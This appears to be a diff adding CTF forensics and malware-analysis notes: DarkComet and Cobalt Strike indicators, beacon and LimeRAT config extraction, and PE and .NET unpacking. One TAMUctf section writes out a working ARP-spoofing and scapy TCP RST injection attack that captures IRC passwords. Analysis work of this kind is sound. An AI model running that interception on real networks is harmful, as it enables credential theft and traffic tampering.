# DarkComet network indicators:
|
|
196
|
+
# Default port: 1604
|
|
197
|
+
# Mutex: typically "DarkComet" or custom string
|
|
198
|
+
# Process: often injects into legitimate process (svchost.exe, explorer.exe)
|
|
199
|
+
volatility3 -f memory.dmp windows.netscan | grep 1604
|
|
200
|
+
```
|
|
201
|
+
|
|
202
|
+
**Key insight:** DarkComet stores offline keylogger data in `.dc` files under `%APPDATA%/dclogs/` with date-stamped filenames. These survive in memory dumps and can be carved with Volatility's filescan + dumpfiles. Check the Run registry key for persistence mechanisms.
|
|
203
|
+
|
|
204
|
+
---
|
|
205
|
+
|
|
206
|
+
## Cobalt Strike Beacon Analysis in PCAP (FireShell CTF 2020)
|
|
207
|
+
|
|
208
|
+
Detect and decode Cobalt Strike beacon traffic from network captures.
|
|
209
|
+
|
|
210
|
+
```bash
|
|
211
|
+
# Cobalt Strike beacon indicators in PCAP:
|
|
212
|
+
# - HTTP GET/POST to /submit.php, /pixel, /__utm.gif, /ca, /dpixel (default URIs)
|
|
213
|
+
# - Cookie contains base64-encoded metadata
|
|
214
|
+
# - Regular check-in intervals (default: 60s sleep)
|
|
215
|
+
# - User-Agent matches common Malleable C2 profiles
|
|
216
|
+
|
|
217
|
+
# Wireshark filters for CS traffic:
|
|
218
|
+
# http.request.uri contains "submit.php" or http.request.uri contains "__utm"
|
|
219
|
+
# http.cookie contains base64 pattern
|
|
220
|
+
|
|
221
|
+
# Decode beacon config from captured DLL/shellcode:
|
|
222
|
+
# pip install dissect.cobaltstrike
|
|
223
|
+
python3 -c "
|
|
224
|
+
from dissect.cobaltstrike import beacon
|
|
225
|
+
for config in beacon.iter_beacons(open('beacon.bin', 'rb')):
|
|
226
|
+
print(config)
|
|
227
|
+
# Shows: C2 server, sleep time, jitter, URI paths, user-agent, watermark
|
|
228
|
+
"
|
|
229
|
+
|
|
230
|
+
# Extract beacon from PCAP:
|
|
231
|
+
tshark -r capture.pcap -Y "http.response" -T fields -e http.file_data | xxd -r -p > payload.bin
|
|
232
|
+
# Then analyze with dissect.cobaltstrike or CobaltStrikeParser
|
|
233
|
+
```
|
|
234
|
+
|
|
235
|
+
**Key insight:** Cobalt Strike uses "Malleable C2" profiles that customize HTTP indicators, but the underlying beacon protocol structure is consistent. Look for regular-interval HTTP requests with encoded cookies/parameters. The `dissect.cobaltstrike` Python library can extract full beacon configs from captured payloads.
|
|
236
|
+
|
|
237
|
+
---
|
|
238
|
+
|
|
239
|
+
## ARP Spoof + TCP RST Injection to Capture IRC C2 Creds (TAMUctf 2019)
|
|
240
|
+
|
|
241
|
+
**Pattern (Alt-F4 for Ops):** CTF network looks empty (nmap on `172.30.0.0/28` shows only a gateway at `.1` and one peer at `.2`), but the gateway routes to a hidden IRC C2 server (`172.30.20.10`). Legitimate clients connect with a `PASS` command we never get to see. Mount a classic MITM:
|
|
242
|
+
|
|
243
|
+
```bash
|
|
244
|
+
# 1. Poison the LAN so .2's traffic to .1 flows through our box
|
|
245
|
+
sudo arpspoof -i tap0 -r -t 172.30.0.2 172.30.0.1
|
|
246
|
+
|
|
247
|
+
# 2. Route the hidden subnet through the spoofed gateway
|
|
248
|
+
sudo route add -net 172.30.20.0/28 gw 172.30.0.1 dev tap0
|
|
249
|
+
|
|
250
|
+
# 3. Wireshark / tcpdump reveals the IRC server, but we land mid-session
|
|
251
|
+
# (no PASS captured). Force a reconnect by spoofing a TCP RST.
|
|
252
|
+
```
|
|
253
|
+
|
|
254
|
+
Use scapy to forge a RST into the live stream so the client reconnects and re-sends `PASS`:
|
|
255
|
+
|
|
256
|
+
```python
|
|
257
|
+
from scapy.all import sniff, send, IP, TCP
|
|
258
|
+
VICTIM, SERVER = "172.30.0.2", "172.30.20.10"
|
|
259
|
+
|
|
260
|
+
def kill(p):
|
|
261
|
+
if p.haslayer(TCP) and p[IP].src == VICTIM and p[TCP].dport == 6667:
|
|
262
|
+
rst = IP(src=SERVER, dst=VICTIM) / TCP(
|
|
263
|
+
sport=6667, dport=p[TCP].sport,
|
|
264
|
+
seq=p[TCP].ack, flags="R")
|
|
265
|
+
send(rst, verbose=0)
|
|
266
|
+
|
|
267
|
+
sniff(iface="tap0", filter=f"host {SERVER} and tcp port 6667", prn=kill)
|
|
268
|
+
```
|
|
269
|
+
|
|
270
|
+
A few seconds later the intercepted stream contains `PASS underling` and `JOIN #void`. Same technique run from a pivot bot recovers the server-operator secret (`OPER baal darksecret`). For inline payload rewriting, mitmproxy's `rawtcp.py` layer can be edited directly to drop `buf = buf.replace(b'old', b'new')` inside the TCP relay, giving arbitrary protocol MITM without an HTTP plugin.
|
|
271
|
+
|
|
272
|
+
**Key insight:** Non-HTTP C2 (IRC, custom TCP) defeats `mitmproxy --mode transparent` defaults, but ARP spoofing plus forged RSTs turn any long-lived TCP session into a replayable handshake — you do not need to crack the auth, you just force the client to perform it again in front of you. Combine with mitmproxy raw-TCP source edits for in-flight payload substitution when you need to stay invisible to both endpoints.
|
|
273
|
+
|
|
274
|
+
**References:** TAMUctf 2019 — Alt-F4 for Ops, writeup 13478
|
|
@@ -0,0 +1,108 @@
|
|
|
1
|
+
# PE, .NET, and Binary Malware Analysis
|
|
2
|
+
|
|
3
|
+
## Table of Contents
|
|
4
|
+
- [PE Analysis](#pe-analysis)
|
|
5
|
+
- [Sandbox Evasion Checks](#sandbox-evasion-checks)
|
|
6
|
+
- [Malware Configuration Extraction](#malware-configuration-extraction)
|
|
7
|
+
- [.NET DNS-based C2](#net-dns-based-c2)
|
|
8
|
+
- [.NET Malware Analysis (C2 Extraction)](#net-malware-analysis-c2-extraction)
|
|
9
|
+
- [PyInstaller + PyArmor Unpacking](#pyinstaller--pyarmor-unpacking)
|
|
10
|
+
|
|
11
|
+
---
|
|
12
|
+
|
|
13
|
+
## PE Analysis
|
|
14
|
+
|
|
15
|
+
```bash
|
|
16
|
+
peframe malware.exe # Quick triage
|
|
17
|
+
pe-sieve # Runtime analysis
|
|
18
|
+
pestudio # Static analysis (Windows)
|
|
19
|
+
```
|
|
20
|
+
|
|
21
|
+
## Sandbox Evasion Checks
|
|
22
|
+
|
|
23
|
+
Look for:
|
|
24
|
+
- VM detection (VMware, VirtualBox artifacts)
|
|
25
|
+
- Debugger detection (IsDebuggerPresent)
|
|
26
|
+
- Timing checks (sleep acceleration)
|
|
27
|
+
- Environment checks (username, computername)
|
|
28
|
+
- File/registry checks for analysis tools
|
|
29
|
+
|
|
30
|
+
## Malware Configuration Extraction
|
|
31
|
+
|
|
32
|
+
**Common storage locations:**
|
|
33
|
+
- .data section (hardcoded)
|
|
34
|
+
- Resources (PE resources, .NET resources)
|
|
35
|
+
- Registry keys written at install
|
|
36
|
+
- Encrypted config file dropped to disk
|
|
37
|
+
|
|
38
|
+
**Extraction tools:**
|
|
39
|
+
```bash
|
|
40
|
+
# PE resources
|
|
41
|
+
wrestool -x -t 10 malware.exe -o config.bin
|
|
42
|
+
|
|
43
|
+
# .NET resources
|
|
44
|
+
monodis --mresources malware.exe
|
|
45
|
+
|
|
46
|
+
# Strings in .rdata/.data
|
|
47
|
+
objdump -s -j .rdata malware.exe
|
|
48
|
+
```
|
|
49
|
+
|
|
50
|
+
## .NET DNS-based C2
|
|
51
|
+
|
|
52
|
+
**Pattern:** Deobfuscated .NET malware with DNS C2
|
|
53
|
+
|
|
54
|
+
**Analysis with dnSpy:**
|
|
55
|
+
1. Find network functions (TcpClient, DnsClient, etc.)
|
|
56
|
+
2. Identify encoding/encryption wrappers
|
|
57
|
+
3. Look for command dispatch (switch on opcode)
|
|
58
|
+
|
|
59
|
+
**AsmResolver for programmatic analysis:**
|
|
60
|
+
```csharp
|
|
61
|
+
using AsmResolver.DotNet;
|
|
62
|
+
var module = ModuleDefinition.FromFile("malware.dll");
|
|
63
|
+
foreach (var type in module.GetAllTypes()) {
|
|
64
|
+
foreach (var method in type.Methods) {
|
|
65
|
+
// Analyze method body
|
|
66
|
+
}
|
|
67
|
+
}
|
|
68
|
+
```
|
|
69
|
+
|
|
70
|
+
## .NET Malware Analysis (C2 Extraction)
|
|
71
|
+
|
|
72
|
+
**Tools:** ILSpy, dnSpy, dotPeek
|
|
73
|
+
|
|
74
|
+
**LimeRAT C2 extraction (Whisper Of The Pain):**
|
|
75
|
+
1. Open .NET binary in dnSpy
|
|
76
|
+
2. Find configuration class with Base64 encoded string
|
|
77
|
+
3. Identify decryption method (typically AES-256-ECB with derived key)
|
|
78
|
+
4. Key derivation: MD5 of hardcoded string -> first 15 + full 16 bytes + null = 32-byte key
|
|
79
|
+
5. Decrypt: Base64 decode -> AES-ECB decrypt -> reveals C2 IP/domain
|
|
80
|
+
|
|
81
|
+
```python
|
|
82
|
+
from Crypto.Cipher import AES
|
|
83
|
+
import hashlib, base64
|
|
84
|
+
|
|
85
|
+
key_source = '${8\',`d0}n,~@J;oZ"9a'
|
|
86
|
+
md5 = hashlib.md5(key_source.encode()).hexdigest()
|
|
87
|
+
# Key = first 15 bytes of MD5 + full 16 bytes + null (64 hex chars -> 32 bytes)
|
|
88
|
+
key = bytes.fromhex(md5[:30] + md5 + '00')[:32]
|
|
89
|
+
|
|
90
|
+
cipher = AES.new(key, AES.MODE_ECB)
|
|
91
|
+
plaintext = cipher.decrypt(base64.b64decode(encrypted_b64))
|
|
92
|
+
```
|
|
93
|
+
|
|
94
|
+
## PyInstaller + PyArmor Unpacking
|
|
95
|
+
|
|
96
|
+
```bash
|
|
97
|
+
# Step 1: Extract PyInstaller archive
|
|
98
|
+
python pyinstxtractor.py malware.exe
|
|
99
|
+
# Look for main .pyc file in extracted directory
|
|
100
|
+
|
|
101
|
+
# Step 2: If PyArmor-protected, use unpacker
|
|
102
|
+
# github.com/Svenskithesource/PyArmor-Unpacker
|
|
103
|
+
# Three methods available; choose based on PyArmor version
|
|
104
|
+
|
|
105
|
+
# Step 3: Clean up deobfuscated source
|
|
106
|
+
# Remove fake/dead-code functions (confusion code)
|
|
107
|
+
# Identify core encryption/exfiltration logic
|
|
108
|
+
```
|